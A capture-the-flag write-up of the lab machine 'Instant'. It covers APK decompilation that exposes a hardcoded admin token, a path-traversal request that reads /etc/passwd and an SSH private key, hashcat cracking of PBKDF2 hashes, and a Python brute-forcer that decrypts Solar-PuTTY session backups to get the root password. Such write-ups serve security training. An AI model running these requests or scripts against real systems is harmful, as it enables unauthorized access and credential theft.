Machine Card listing Instant as a medium Linux box

Reconnaissance

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_  256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open  http    Apache httpd 2.4.58
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Did not follow redirect to http://instant.htb/
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

The nmap scan only found two ports and a redirect to instant.htb on port 80. I’ll add this to my /etc/hosts file and have a closer look.

HTTP

Webpage promoting a way to send funds anywhere

The webpage is about a service that lets users send funds anywhere. In order to do so it seems like one has to install an app and that can be downloaded right on the page. Clicking on the Download Now button returns an APK, an android app.

Initial Access

Since I don’t want to load the APK into an (emulated) android device as first step, I decide to have a peek into the contents with jadx. After loading the app, the contained dex file(s) for the Dalvik VM are converted to jar and then decompiled to get readable Java code.

It includes all the imported libraries as well as the source code of the application in com/instantlabs.instant. The code for the application is split between different Activities, that correspond to views in the app. One particular file looks promising: AdminActivities.

Screenshot showing the decompiled source for the AdminActivies with the hardcoded JWT

The function TestAdminAuthorization calls the endpoint http://mywalletv1.instant.htb/api/v1/view/profile with a hard-coded Authorization header. If that’s still valid, I might be able to poke around in the API with admin privileges.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA

Starting with android version 9, cleartext connections (http) are disabled by default and need to be explicitely enabled for each domain in res/xml/network_security_config.xml1. In there I can find another domain, swagger-ui.instant.htb, that I also add to my hosts file.

Jadx showing the network_security_config.xml with two domains that can be accessed with HTTP

One of the subdomains hints towards Swagger and in fact exposes an interactive web frontend to talk to the API. There I can set the previously found authentication token via Authorize and then call the different endpoints directly.

Calling the /api/v1/view/profile endpoint returns the information for the admin user, so the token is still valid.

Swagger showing the result of the a call to /api/v1/view/profile

Skimming over the available endpoints, there are a few related to Users and Transactions, but there are also two endpoints to list and view logs. Logs are usually stored on disk so this opens up a few possibilities. Listing the available logs just returns a single file within /home/shirohige/logs/ called 1.log.

{
  "Files": [
    "1.log"
  ],
  "Path": "/home/shirohige/logs/",
  "Status": 201
}

Trying to read the log by using 1.log as log_file_name works and returns This is a sample log testing. Next I’ll try path traversal to read files outside of that directory and I’m successful with ../../../../etc/passwd.

Swagger showing the contents of the passwd file through the /log endpoint

Considering the log file is stored within the home directory of user shirohige, it might be safe to assume that the application is running in that context and I check for SSH keys next. I can read the id_rsa file and use curl and jq to download the file and remove newlines.

curl -sS \
     -X GET \
     "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=..%2F..%2F..%2F..%2Fhome%2Fshirohige%2F.ssh%2Fid_rsa" \
     -H  "accept: application/json" \
     -H  "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" \
     | jq -r 'to_entries[0].value | join("")' \
     | tee -a ssh.key
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAmJvnp/m15/B7vlGYxgBuBne0ypqy4q8PjJW84SGSEK2MeuRh
lhYjEvh0FTXU2DNuvi9PzkkVtDcG4KYF5qANQwG1ruPPFlxFnI6RVqH9EzxKSVwO
KBnrEKDX+ANHf3OhPKmW4EV4irgPFJ1GSi7xulAYjjzXqASoHGQ2wZesiwGn+JZj
igf8HakzxFTgtD9Y15ZL+SkvCZXuRphdaXiYAmwSk55IEngGooAMvzH2FTLCPzDz
LgiZhOiXCq4coYXUakQ4mB8OYybwZgHDrXbmPMSQCcAJTOb4+ivyhSNshWvFfYOb
Tpb+9Tp7O3xE5u+OYs2joym8UAOx7sf2WxIYPwIDAQABAoIBAATzzsoVqe50HSws
gHCGXLZcBLjFyJ2bVb4CW/cGODxo6z6lCYpYXRhrvS9On5t0Y0wyGOwA/8Lgku9l
TommMJxASw1wgqh43zoa9vf+cuOV8mLNZUOL84HLM8b/d7ZH0ObsOqNvRSyFID/k
PcMjITGrADXMp7oEA97dEDcIsJeTYR3xoM6DtnsziAe2eJfZ/kx6zJTP3HuSJ0Cb
AJieAgOWqFPtuDnRvDdiXYAWeN8c2Am2UmdaWh9UoBnDP/oRfV5rT4pEn5o1FTuN
n/HU2srKN+78tMWW3P/8WKdQankknOcDrQWkB5HiGnDzZbC2HPaoYNdjstwVYWXb
hXlKVcECgYEAyq08VYwaPcTeD4OuANDIOfrrAWR5dsX1TJleal2l+SxbXfLlmqP6
rSFSqVOz9ogVZ6Nj9THX2JDMGOQHBPE9TLFvETEjQW1vzhmd3zbuwwU10P8hh5Y6
Q5E1mNu0rQS+FKQkrT9PLMl5o6pQruJSrW4r4lbIOUG9vrW57juwQUECgYEAwMJ9
NGzS3YVnw5HUX7gkPlBkwUC08MQnnsnpf2AztSIdYO2HMtl/7N8zb9PlmBEG3+qM
R24ibbgtVTbjfFYS20MXuUUTWkh74PgOQ960W921L44de4LSpIc1uX9iAaCKz1wY
h2K6Ku00N+CFmy5OAs+xcYdYeWZxnmWvldNKeX8CgYEAw4IW6GLs0Vb96rNYf5rm
+t8sITy92rAc71Ym+K37tABw5pCvodu6rZWuen6u5ArjswSvINCC6XrMFtqoVsEr
I7cpb8kZvDyIFKUrYC5KZb+56TCjNHrbG2CQ9jJB+IDRp3Grm5+tjYOQnitmBz11
Ca10EbMrE+hx0+zTPZdAb8ECgYBoZW02BXI2s1e9Xa+tn6dRcG0BFTBp7XKf1y70
439drHpI0pwUeCOGgGP1PsfsEdytTPRog0d2MPesXSvbXSqdQbsJhlWy4erlrrLb
IzR/RJYqiUeCaxn2LZx1OH4172L+ZxyJxniZYxqS4LC7mNp7P00U9X5/UXJbnSr5
dBOztQKBgQCSKbczU2nX62h3E9Dk70g36Q5K5DGC2CFDCznVBXoLjIEvqyg8c8JH
zYuyRb7x9zpI3OiAs+YjKQPH8kNVwzMYbuRDcRYmZuzl2TsJee+urNA6tjplyV0q
Q6fIyAdlABlB/Fwle4HFtu9iNPbo4hc8w74BIk2pE+MQtWXxl/7u6Q==
-----END RSA PRIVATE KEY-----

After fixing the permissions with chmod 600 ssh.key I can login as shirohige and collect the first flag.

Privilege Escalation

Within /opt/backups/Solar-PuTTY/ I find a file called sessions-backup.dat. Based on the directory name it belongs to Solar-PuTTy and there seems to be a way to decrypt the session file with SolarPuttyDecrypt. The repository comes with a compiled version of the tool but even though it runs on Windows, it’s not able to decrypt the data due to a missing passphrase.

The source code of the application running on port 80 is available in /home/shirohige/projects/mywallet/Instant-Api/mywallet and contains a database to hold the information. I transfer the SQLite3 database instant.db in the subfolder instance to my machine since the system is lacking the proper tools to examine the file. The database contains 3 tables with wallet_users being the most interesting since it holds the password hashes for two users.

sqlite3 instant.db
SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
 
sqlite> .tables
wallet_transactions  wallet_users         wallet_wallets     
 
sqlite> select * from wallet_users ;
1|instantAdmin|admin@instant.htb|f0eca6e5-783a-471d-9d8f-0162cbc900db|pbkdf2:sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978|2024-07-23 00:20:52.529887|87348|Admin|active
2|shirohige|shirohige@instant.htb|458715c9-b15e-467b-8a3d-97bc3fcf3c11|pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed|2024-08-08 20:57:47.909667|42845|instantian|active

Hashcat mode 10000 requires the salt and the password hash to be base64 encoded. Since they are currently stored as hex values, I’ll need to convert them first. A handy tools for this is CyberChef.

cat hash
pbkdf2_sha256$600000$I5bFyb0ZzD69pNX8$6eTqXCgOB2ZhIpWrm/8y5fod6PbLtlhvq3q3vHYr2Xg=
pbkdf2_sha256$600000$YnRgjnim$yVQajGrUC8Bkl5vERgJQQf+smvL3YnJpcdiignLFUO0=
 
hashcat -m 10000 \
        hash \
        /usr/share/wordlists/rockyou.txt
--- SNIP ---
pbkdf2_sha256$600000$YnRgjnim$yVQajGrUC8Bkl5vERgJQQf+smvL3YnJpcdiignLFUO0=:estrella
--- SNIP ---

About a minute passes and the cleartext password of shirohige is cracked: estrella. Back on the Windows VM I’ll use the password to decrypt the sessions file with SolarPuttyDecrypt and find the password for the root user. Using su - and providing 12**24nzC!r0c%q12 as password grants a new shell with enough privileges to read the final flag.

.\SolarPuttyDecrypt.exe .\sessions-backup.dat estrella
-----------------------------------------------------
SolarPutty's Sessions Decrypter by VoidSec
-----------------------------------------------------
 
{
  "Sessions": [
    {
      "Id": "066894ee-635c-4578-86d0-d36d4838115b",
      "Ip": "10.10.11.37",
      "Port": 22,
      "ConnectionType": 1,
      "SessionName": "Instant",
      "Authentication": 0,
      "CredentialsID": "452ed919-530e-419b-b721-da76cbe8ed04",
      "AuthenticateScript": "00000000-0000-0000-0000-000000000000",
      "LastTimeOpen": "0001-01-01T00:00:00",
      "OpenCounter": 1,
      "SerialLine": null,
      "Speed": 0,
      "Color": "#FF176998",
      "TelnetConnectionWaitSeconds": 1,
      "LoggingEnabled": false,
      "RemoteDirectory": ""
    }
  ],
  "Credentials": [
    {
      "Id": "452ed919-530e-419b-b721-da76cbe8ed04",
      "CredentialsName": "instant-root",
      "Username": "root",
      "Password": "12**24nzC!r0c%q12",
      "PrivateKeyPath": "",
      "Passphrase": "",
      "PrivateKeyContent": null
    }
  ],
  "AuthScript": [],
  "Groups": [],
  "Tunnels": [],
  "LogsFolderDestination": "C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"
}
 
-----------------------------------------------------
[+] DONE Decrypted file is saved in: C:\Users\user\Desktop\SolarPutty_sessions_decrypted.txt

Alternative way

3DES with a passphrase is used to encrypt the sessions file according to the code in the repository2. I could also bruteforce the password by going through rockyou.txt and therefore I’ll port the code to Python. When I run the script it takes just a few seconds to find a valid passphrase to decode the encrypted data.

bruteforce.py
#!/usr/bin/env python3
import sys
import json
 
from base64 import b64decode
from Crypto.Cipher import DES3
from Crypto.Protocol.KDF import PBKDF2
 
 
def decrypt(password, salt, iv, data):
    key = PBKDF2(password, salt, dkLen=24, count=1000)
    cipher = DES3.new(key, DES3.MODE_CBC, iv)
 
    decrypted_data = cipher.decrypt(data)
 
    decrypted_data = decrypted_data[:-decrypted_data[-1]]
 
    return decrypted_data.decode('utf-8')
 
def main(session_file, wordlist):
 
    with open(session_file) as f:
        session_content = f.read().strip()
 
    decoded = b64decode(session_content)
 
    salt = decoded[:24]
    iv = decoded[24:32]
    data = decoded[48:]
 
    with open(wordlist) as f:
        while word := f.readline().strip():
            try:
                plaintext = decrypt(word, salt, iv, data)
            except:
                continue
            if plaintext:
                print(f'Found passphrase: {word}')
                print(json.dumps(json.loads(plaintext), sort_keys=True, indent=4))
                break
 
 
if __name__ == '__main__':
    if len(sys.argv) != 3:
        print(f'Usage: {sys.argv[0]} "sessions.dat" "wordlist"')
        sys.exit(1)
 
    main(sys.argv[1], sys.argv[2]

Note

The original code uses a IV with length 24, but 3DES only uses 8 bytes. In csharp the rest of the IV is discarded silently in the background, but Python errors out instead.

Attack Path

flowchart TD

subgraph "Initial access"
    A(APK) -->|Decompilation| B("Hardcoded Authorization Header\nAPI and Swagger Subdomain")
    B -->|Path Traversal in Log Retrieval| C(SSH-Key for shirohige)
    C -->|Valid Credentials| D(Shell as shirohige)
end

subgraph "Privilege Escalation"
    D -->|Enumeration| E(Solar-PuTTy session backup)
    E -->|Bruteforce 3DES| F(Password for root)
    E -->|Bruteforce PBKDF2-SHA256| F(Password for root)
    F -->|Valid Credentials| G(Shell as root)
end

Footnotes

  1. Risk HTTP

  2. Program.cs